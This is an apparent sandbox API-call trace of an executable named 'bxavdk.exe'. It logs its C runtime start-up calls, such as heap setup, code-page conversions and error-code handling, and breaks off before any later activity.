# Flog Txt Version 1 # Analyzer Version: 3.0.2 # Analyzer Build Date: Jul 9 2019 16:03:52 # Log Creation Date: 30.07.2019 00:49:00.004 Process: id = "1" image_name = "bxavdk.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bxavdk.exe" page_root = "0x4c7c5000" os_pid = "0x9d8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bxavdk.exe\" " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1 os_tid = 0x9dc [0027.826] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff7c | out: lpSystemTimeAsFileTime=0x18ff7c*(dwLowDateTime=0xa2fe0e90, dwHighDateTime=0x1d54670)) [0027.826] GetCurrentProcessId () returned 0x9d8 [0027.826] GetCurrentThreadId () returned 0x9dc [0027.826] GetTickCount () returned 0x18390 [0027.826] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff74 | out: lpPerformanceCount=0x18ff74*=14812752380) returned 1 [0027.851] GetStartupInfoW (in: lpStartupInfo=0x18ff20 | out: lpStartupInfo=0x18ff20*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bxavdk.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x18ff84, hStdError=0x40cbe3)) [0027.851] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0027.851] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x560000 [0027.851] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0027.851] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0027.851] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0027.851] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0027.851] GetProcAddress (hModule=0x76c20000, lpProcName="FlsFree") returned 0x76c3359f [0027.854] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x214) returned 0x5607d0 [0027.854] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0027.854] GetCurrentThreadId () returned 0x9dc [0027.855] GetStartupInfoW (in: lpStartupInfo=0x18febc | out: lpStartupInfo=0x18febc*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bxavdk.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x40c776, hStdOutput=0x40cb29, hStdError=0x5607d0)) [0027.855] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x800) returned 0x5609f0 [0027.855] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0027.855] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0027.855] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0027.855] SetHandleCount (uNumber=0x20) returned 0x20 [0027.855] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bxavdk.exe\" " [0027.855] GetEnvironmentStringsW () returned 0x5f2150* [0027.855] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381 [0027.855] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x565) returned 0x5611f8 [0027.855] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x5611f8, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381 [0027.855] FreeEnvironmentStringsW (penv=0x5f2150) returned 1 [0027.855] GetLastError () returned 0x5 [0027.855] SetLastError (dwErrCode=0x5) [0027.855] GetLastError () returned 0x5 [0027.855] SetLastError (dwErrCode=0x5) [0027.855] GetLastError () returned 0x5 [0027.855] SetLastError (dwErrCode=0x5) [0027.855] GetACP () returned 0x4e4 [0027.855] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x220) returned 0x561768 [0027.856] GetLastError () returned 0x5 [0027.856] SetLastError (dwErrCode=0x5) [0027.856] IsValidCodePage (CodePage=0x4e4) returned 1 [0027.856] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0027.856] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f950 | out: lpCPInfo=0x18f950) returned 1 [0027.856] GetLastError () returned 0x5 [0027.856] SetLastError (dwErrCode=0x5) [0027.856] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0027.856] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6c8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0027.856] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f964 | out: lpCharType=0x18f964) returned 1 [0027.856] GetLastError () returned 0x5 [0027.856] SetLastError (dwErrCode=0x5) [0027.856] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0027.856] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f698, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ춗⟃AĀ") returned 256 [0027.856] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ춗⟃AĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0027.856] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ춗⟃AĀ", cchSrc=256, lpDestStr=0x18f488, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ") returned 256 [0027.856] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ", cchWideChar=256, lpMultiByteStr=0x18fc64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x63\x33\xcf\xd0\x9c\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0027.856] GetLastError () returned 0x5 [0027.856] SetLastError (dwErrCode=0x5) [0027.856] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0027.856] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6b8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ춗⟃AĀ") returned 256 [0027.856] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ춗⟃AĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0027.856] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ춗⟃AĀ", cchSrc=256, lpDestStr=0x18f4a8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ") returned 256 [0027.856] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ", cchWideChar=256, lpMultiByteStr=0x18fb64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x63\x33\xcf\xd0\x9c\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0027.865] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x46a338, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bxavdk.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bxavdk.exe")) returned 0x30 [0027.865] GetLastError () returned 0x0 [0027.865] SetLastError (dwErrCode=0x0) [0027.865] GetLastError () returned 0x0 [0027.865] SetLastError (dwErrCode=0x0) [0027.865] GetLastError () returned 0x0 [0027.865] SetLastError (dwErrCode=0x0) [0027.865] GetLastError () returned 0x0 [0027.865] SetLastError (dwErrCode=0x0) [0027.865] GetLastError () returned 0x0 [0027.865] SetLastError (dwErrCode=0x0) [0027.865] GetLastError () returned 0x0 [0027.866] SetLastError (dwErrCode=0x0) [0027.866] GetLastError () returned 0x0 [0027.866] SetLastError (dwErrCode=0x0) [0027.866] GetLastError () returned 0x0 [0027.866] SetLastError (dwErrCode=0x0) [0027.866] GetLastError () returned 0x0 [0027.866] SetLastError (dwErrCode=0x0) [0027.866] GetLastError () returned 0x0 [0027.866] SetLastError (dwErrCode=0x0) [0027.866] GetLastError () returned 0x0 [0027.866] SetLastError (dwErrCode=0x0) [0027.866] GetLastError () returned 0x0 [0027.866] SetLastError (dwErrCode=0x0) [0027.866] GetLastError () returned 0x0 [0027.866] SetLastError (dwErrCode=0x0) [0027.866] GetLastError () returned 0x0 [0027.866] SetLastError (dwErrCode=0x0) [0027.866] GetLastError () returned 0x0 [0027.866] SetLastError (dwErrCode=0x0) [0027.866] GetLastError () returned 0x0 [0027.866] SetLastError (dwErrCode=0x0) [0027.866] GetLastError () returned 0x0 [0027.866] SetLastError (dwErrCode=0x0) [0027.866] GetLastError () returned 0x0 [0027.867] SetLastError (dwErrCode=0x0) [0027.867] GetLastError () returned 0x0 [0027.867] SetLastError (dwErrCode=0x0) [0027.867] GetLastError () 